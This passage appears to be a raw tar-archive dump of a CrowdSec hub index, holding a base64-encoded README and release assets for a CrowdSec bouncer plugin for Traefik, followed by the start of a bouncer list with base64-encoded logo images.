0IHJlY29tbWFuZGVkIGZvciBvYnZpb3VzIHJlYXNvbnMKCllvdSBjYW4gdGhlbiBydW4gYWxsIHRoZSBjb250YWluZXJzOgpgYGBiYXNoCmRvY2tlci1jb21wb3NlIHVwIC1kCmBgYAoKIyMjIyBVc2UgY2VydGlmaWNhdGVzIHRvIGF1dGhlbnRpY2F0ZSB3aXRoIENyb3dkU2VjCgpZb3UgY2FuIGZvbGxvdyB0aGUgZXhhbXBsZSBpbiBgZXhlbXBsZXMvdGxzLWF1dGhgIHRvIHZpZXcgaG93IHRvIGF1dGhlbnRpY2F0ZSB3aXRoIGNsaWVudCBjZXJ0aWZpY2F0ZXMgd2l0aCB0aGUgTEFQSS4gIApJbiB0aGF0IGNhc2UsIGNvbW11bmljYXRpb25zIHdpdGggdGhlIExBUEkgbXVzdCBnbyB0aHJvdWdoIEhUVFBTLgoKQSBzY3JpcHQgaXMgYXZhaWxhYmxlIHRvIGdlbmVyYXRlIGNlcnRpZmljYXRlcyBpbiBgZXhlbXBsZXMvdGxzLWF1dGgvZ2VuY2VydHMuc2hgIGFuZCBtdXN0IGJlIGluIHRoZSBzYW1lIGRpcmVjdG9yeSBhcyB0aGUgaW5wdXRzIGZvciB0aGUgUEtJIGNyZWF0aW9uLgoKIyMjIyBVc2UgSFRUUFMgdG8gY29tbXVuaWNhdGUgd2l0aCB0aGUgTEFQSQoKVG8gY29tbXVuaWNhdGUgd2l0aCB0aGUgTEFQSSBpbiBIVFRQUyB5b3UgbmVlZCB0byBlaXRoZXIgYWNjZXB0IGFueSBjZXJ0aWZpY2F0ZXMgYnkgc2V0dGluZyB0aGUgYGNyb3dkc2VjTGFwaVRMU0luc2VjdXJlVmVyaWZ5YCB0byB0cnVlIG9yIGFkZCB0aGUgQ0EgdXNlZCBieSB0aGUgc2VydmVyIGNlcnRpZmljYXRlIG9mIENyb3dkc2VjIHVzaW5nIGBjcm93ZHNlY0xhcGlUTFNDZXJ0aWZpY2F0ZUF1dGhvcml0eWAgb3IgYGNyb3dkc2VjTGFwaVRMU0NlcnRpZmljYXRlQXV0aG9yaXR5RmlsZWAuClNldCB0aGUgYGNyb3dkc2VjTGFwaVNjaGVtZWAgdG8gaHR0cHMuCgpDcm93ZHNlYyBtdXN0IGJlIGxpc3RlbmluZyBpbiBIVFRQUyBmb3IgdGhpcyB0byB3b3JrLgpQbGVhc2Ugc2VlIHRoZSBbdGxzLWF1dGggZXhlbXBsZV0oaHR0cHM6Ly9naXRodWIuY29tL21heGxlcmVib3VyZy9jcm93ZHNlYy1ib3VuY2VyLXRyYWVmaWstcGx1Z2luL2Jsb2IvbWFpbi9leGVtcGxlcy90bHMtYXV0aC9SRUFETUUubWQpIG9yIHRoZSBvZmZpY2lhbCBkb2N1bWVudGF0aW9uOiBbZG9jcy5jcm93ZHNlYy5uZXQvZG9jcy9sb2NhbF9hcGkvdGxzX2F1dGgvXShodHRwczovL2RvY3MuY3Jvd2RzZWMubmV0L2RvY3MvbG9jYWxfYXBpL3Rsc19hdXRoLykKCiMjIyMgTWFudWFsbHkgYWRkIGFuIElQIHRvIHRoZSBibG9ja2xpc3QgKGZvciB0ZXN0aW5nIHB1cnBvc2VzKQoKYGBgYmFzaApkb2NrZXItY29tcG9zZSB1cCAtZCBjcm93ZHNlYwpkb2NrZXIgZXhlYyBjcm93ZHNlYyBjc2NsaSBkZWNpc2lvbnMgYWRkIC0taXAgMTAuMC4wLjEwIC1kIDEwbSAjIHRoaXMgd2lsbCBiZSBlZmZlY3RpdmUgMTBtaW4KZG9ja2VyIGV4ZWMgY3Jvd2RzZWMgY3NjbGkgZGVjaXNpb25zIHJlbW92ZSAtLWlwIDEwLjAuMC4xMApgYGAKCiMjIyBFeGVtcGxlcwoKIyMjIyAxLiBCZWhpbmQgYW5vdGhlciBwcm94eSBzZXJ2aWNlIChleDogY2xvdWZsYXJlKSBbZXhlbXBsZXMvYmVoaW5kLXByb3h5L1JFQURNRS5tZF0oaHR0cHM6Ly9naXRodWIuY29tL21heGxlcmVib3VyZy9jcm93ZHNlYy1ib3VuY2VyLXRyYWVmaWstcGx1Z2luL2Jsb2IvbWFpbi9leGVtcGxlcy9iZWhpbmQtcHJveHkvUkVBRE1FLm1kKQoKIyMjIyAyLiBXaXRoIFJlZGlzIGFzIGFuIGV4dGVybmFsIHNoYXJlZCBjYWNoZSBbZXhlbXBsZXMvcmVkaXMtY2FjaGUvUkVBRE1FLm1kXShodHRwczovL2dpdGh1Yi5jb20vbWF4bGVyZWJvdXJnL2Nyb3dkc2VjLWJvdW5jZXItdHJhZWZpay1wbHVnaW4vYmxvYi9tYWluL2V4ZW1wbGVzL3JlZGlzLWNhY2hlL1JFQURNRS5tZCkKCiMjIyMgMy4gVXNpbmcgVHJ1c3RlZCBJUCAoZXg6IExBTiBPUiBWUE4pIHRoYXQgd29uJ3QgZ2V0IGZpbHRlcmVkIGJ5IGNyb3dkc2VjIFtleGVtcGxlcy90cnVzdGVkLWlwcy9SRUFETUUubWRdKGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhsZXJlYm91cmcvY3Jvd2RzZWMtYm91bmNlci10cmFlZmlrLXBsdWdpbi9ibG9iL21haW4vZXhlbXBsZXMvdHJ1c3RlZC1pcHMvUkVBRE1FLm1kKQoKIyMjIyA0LiBVc2luZyBDcm93ZHNlYyBhbmQgVHJhZWZpayBpbnN0YWxsZWQgYXMgYmluYXJ5IGluIGEgc2luZ2xlIFZNIFtleGVtcGxlcy9iaW5hcnktdm0vUkVBRE1FLm1kXShodHRwczovL2dpdGh1Yi5jb20vbWF4bGVyZWJvdXJnL2Nyb3dkc2VjLWJvdW5jZXItdHJhZWZpay1wbHVnaW4vYmxvYi9tYWluL2V4ZW1wbGVzL2JpbmFyeS12bS9SRUFETUUubWQpCgojIyMjIDUuIFVzaW5nIGh0dHBzIGNvbW11bmljYXRpb24gYW5kIHRscyBhdXRoZW50aWNhdGlvbiB3aXRoIENyb3dkc2VjIFtleGVtcGxlcy90bHMtYXV0aC9SRUFETUUubWRdKGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhsZXJlYm91cmcvY3Jvd2RzZWMtYm91bmNlci10cmFlZmlrLXBsdWdpbi9ibG9iL21haW4vZXhlbXBsZXMvdGxzLWF1dGgvUkVBRE1FLm1kKQoKIyMjIyA2LiBVc2luZyBDcm93ZHNlYyBhbmQgVHJhZWZpayBpbiBLdWJlcm5ldGVzIFtleGVtcGxlcy9rdWJlcm5ldGVzL1JFQURNRS5tZF0oaHR0cHM6Ly9naXRodWIuY29tL21heGxlcmVib3VyZy9jcm93ZHNlYy1ib3VuY2VyLXRyYWVmaWstcGx1Z2luL2Jsb2IvbWFpbi9leGVtcGxlcy9rdWJlcm5ldGVzL1JFQURNRS5tZCkKCiMjIyMgNy4gVXNpbmcgVHJhZWZpayBpbiBzdGFuZGFsb25lIG1vZGUgd2l0aG91dCBDcm93ZHNlYyBbZXhlbXBsZXMvc3RhbmRhbG9uZS1tb2RlL1JFQURNRS5tZF0oaHR0cHM6Ly9naXRodWIuY29tL21heGxlcmVib3VyZy9jcm93ZHNlYy1ib3VuY2VyLXRyYWVmaWstcGx1Z2luL2Jsb2IvbWFpbi9leGVtcGxlcy9zdGFuZGFsb25lLW1vZGUvUkVBRE1FLm1kKQoKIyMjIExvY2FsIE1vZGUKClRyYWVmaWsgYWxzbyBvZmZlcnMgYSBkZXZlbG9wZXIgbW9kZSB0aGF0IGNhbiBiZSB1c2VkIGZvciB0ZW1wb3JhcnkgdGVzdGluZyBvZiBwbHVnaW5zIG5vdCBob3N0ZWQgb24gR2l0SHViLgpUbyB1c2UgYSBwbHVnaW4gaW4gbG9jYWwgbW9kZSwgdGhlIFRyYWVmaWsgc3RhdGljIGNvbmZpZ3VyYXRpb24gbXVzdCBkZWZpbmUgdGhlIG1vZHVsZSBuYW1lIChhcyBpcyB1c3VhbCBmb3IgR28gcGFja2FnZXMpIGFuZCBhIHBhdGggdG8gYSBbR28gd29ya3NwYWNlXShodHRwczovL2dvbGFuZy5vcmcvZG9jL2dvcGF0aF9jb2RlLmh0bWwjV29ya3NwYWNlcyksIHdoaWNoIGNhbiBiZSB0aGUgbG9jYWwgR09QQVRIIG9yIGFueSBkaXJlY3RvcnkuCgpUaGUgcGx1Z2lucyBtdXN0IGJlIHBsYWNlZCBpbiB0aGUgYC4vcGx1Z2lucy1sb2NhbGAgZGlyZWN0b3J5LAp3aGljaCBzaG91bGQgYmUgaW4gdGhlIHdvcmtpbmcgZGlyZWN0b3J5IG9mIHRoZSBwcm9jZXNzIHJ1bm5pbmcgdGhlIFRyYWVmaWsgYmluYXJ5LgpUaGUgc291cmNlIGNvZGUgb2YgdGhlIHBsdWdpbiBzaG91bGQgYmUgb3JnYW5pemVkIGFzIGZvbGxvd3M6CgpgYGAKLi9wbHVnaW5zLWxvY2FsLwogICAg4pSU4pSA4pSAIHNyYwogICAgICAgIOKUlOKUgOKUgCBnaXRodWIuY29tCiAgICAgICAgICAgIOKUlOKUgOKUgCBtYXhsZXJlYm91cmcKICAgICAgICAgICAgICAgIOKUlOKUgOKUgCBjcm93ZHNlYy1ib3VuY2VyLXRyYWVmaWstcGx1Z2luCiAgICAgICAgICAgICAgICAgICAg4pSc4pSA4pSAIGJvdW5jZXIuZ28KICAgICAgICAgICAgICAgICAgICDilJzilIDilIAgYm91bmNlcl90ZXN0LmdvCiAgICAgICAgICAgICAgICAgICAg4pSc4pSA4pSAIGdvLm1vZAogICAgICAgICAgICAgICAgICAgIOKUnOKUgOKUgCBMSUNFTlNFCiAgICAgICAgICAgICAgICAgICAg4pSc4pSA4pSAIE1ha2VmaWxlCiAgICAgICAgICAgICAgICAgICAg4pSc4pSA4pSAIHJlYWRtZS5tZAogICAgICAgICAgICAgICAgICAgIOKUlOKUgOKUgCB2ZW5kb3IvKiAKYGBgCgpGb3IgbG9jYWwgZGV2ZWxvcG1lbnQsIGEgYGRvY2tlci1jb21wb3NlLmxvY2FsLnltbGAgaXMgcHJvdmlkZWQgd2hpY2ggcmVwcm9kdWNlcyB0aGUgZGlyZWN0b3J5IGxheW91dCBuZWVkZWQgYnkgVHJhZWZpay4gIApUaGlzIHdvcmtzIG9uY2UgeW91IGhhdmUgZ2VuZXJhdGVkIGFuZCBmaWxsZWQgeW91ciAqTEFQSS1LRVkqIChjcm93ZHNlY0xhcGlLZXkpLCBpZiBub3QgcmVhZCBhYm92ZSBmb3IgaW5mb3JtYXRpb25zLgoKYGBgYmFzaApkb2NrZXItY29tcG9zZSAtZiBkb2NrZXItY29tcG9zZS5sb2NhbC55bWwgdXAgLWQKYGBgCkVxdWl2YWxlbnQgdG8KYGBgYmFzaAptYWtlIHJ1bl9sb2NhbApgYGAKCiMjIyBBYm91dAoKW21hdGhpZXVIYV0oaHR0cHM6Ly9naXRodWIuY29tL21hdGhpZXVIYSkgYW5kIFtJXShodHRwczovL2dpdGh1Yi5jb20vbWF4bGVyZWJvdXJnKSBoYXZlIGJlZW4gdXNpbmcgVHJhZWZpayBzaW5jZSAyMDIwIGF0IFtQcmltYWR2aXpdKGh0dHBzOi8vcHJpbWFkdml6LmNvbSkuCldlIGNvbWUgZnJvbSBhIHdlYiBkZXZlbG9wbWVudCBhbmQgc2VjdXJpdHkgZW5naW5lZXIgYmFja2dyb3VuZCBhbmQgd2FudGVkIHRvIGFkZCB0aGUgcG93ZXIgb2YgYSB2ZXJ5IHByb21pc2luZyB0ZWNobm9sb2d5IChDcm93ZHNlYykgdG8gdGhlIGVkZ2Ugcm91dGVyIHdlIGxvdmUuICAKCldlIGluaXRpYWxseSByYW4gaW50byB0aGlzIHByb2plY3Q6IFtnaXRodWIuY29tL2Zib25hbGFpci90cmFlZmlrLWNyb3dkc2VjLWJvdW5jZXJdKGh0dHBzOi8vZ2l0aHViLmNvbS9mYm9uYWxhaXIvdHJhZWZpay1jcm93ZHNlYy1ib3VuY2VyKQpJdCB3YXMgdXNpbmcgdHJhZWZpayBhbmQgZm9yd2FyZCBhdXRoIG1pZGRsZXdhcmUgdG8gdmVyaWZ5IGV2ZXJ5IHJlcXVlc3QuICAKVGhleSBoYWQgdG8gZ28gdGhyb3VnaCBhIHdlYnNlcnZlciB3aGljaCB0aGVuIGNvbnRhY3RzIGFub3RoZXIgd2Vic2VydmljZSAodGhlIGNyb3dkc2VjIExBUEkpIHRvIG1ha2UgYSBkZWNpc2lvbiBiYXNlZCBvbiB0aGUgc291cmNlIElQLiAgCldlIGluaXRpYWxseSBwcm9wb3NlZCBzb21lIGltcHJvdmVtZW50cyBieSBpbXBsZW1lbnRpbmcgYSBzdHJlYW1pbmcgbW9kZSBhbmQgYSBsb2NhbCBjYWNoZS4gIApXaXRoIHRoZSBUcmFlZmlrIGhhY2thdGhvbiB3ZSBkZWNpZGVkIHRvIGltcGxlbWVudCBvdXIgc29sdXRpb24gZGlyZWN0bHkgYXMgYSBUcmFlZmlrIHBsdWdpbiB3aGljaCBjb3VsZCBiZSBmb3VuZCBieSBldmVyeW9uZSBvbiBbcGx1Z2lucy50cmFlZmlrLmlvXShodHRwczovL3BsdWdpbnMudHJhZWZpay5pbykgYW5kIGJlIG1vcmUgcGVyZm9ybWFudC4K", "status": "stable", "version": "v1.1.10", "assets": [ { "name": "Tarball (source code)", "download_url": "https://api.github.com/repos/maxlerebourg/crowdsec-bouncer-traefik-plugin/tarball/v1.1.10", "asset_url": "https://api.github.com/repos/maxlerebourg/crowdsec-bouncer-traefik-plugin/tarball/v1.1.10" }, { "name": "Zipball (source code)", "download_url": "https://api.github.com/repos/maxlerebourg/crowdsec-bouncer-traefik-plugin/zipball/v1.1.10", "asset_url": "https://api.github.com/repos/maxlerebourg/crowdsec-bouncer-traefik-plugin/zipball/v1.1.10" } ] } ]hub1/blockers/000077500000000000000000000000001437532772500135405ustar00rootroot00000000000000hub1/blockers/list.json000066400000000000000000044056711437532772500154270ustar00rootroot00000000000000[ { "name": "cs-nginx-bouncer", "author": "crowdsecurity", "logo": "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" }, { "name": "cs-mikrotik-bouncer", "author": "funkolab", "logo": "iVBORw0KGgoAAAANSUhEUgAAAZAAAABhCAYAAAD4BvfEAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMDE0IDc5LjE1Njc5NywgMjAxNC8wOC8yMC0wOTo1MzowMiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTQgKFdpbmRvd3MpIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjAxNjNGNUZERDQ1OTExRTRCMUY3RTQyNzRERjM0RTI3IiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjAxNjNGNUZFRDQ1OTExRTRCMUY3RTQyNzRERjM0RTI3Ij4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MDE2M0Y1RkJENDU5MTFFNEIxRjdFNDI3NERGMzRFMjciIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MDE2M0Y1RkNENDU5MTFFNEIxRjdFNDI3NERGMzRFMjciLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz6z88kTAAAgtElEQVR42uxd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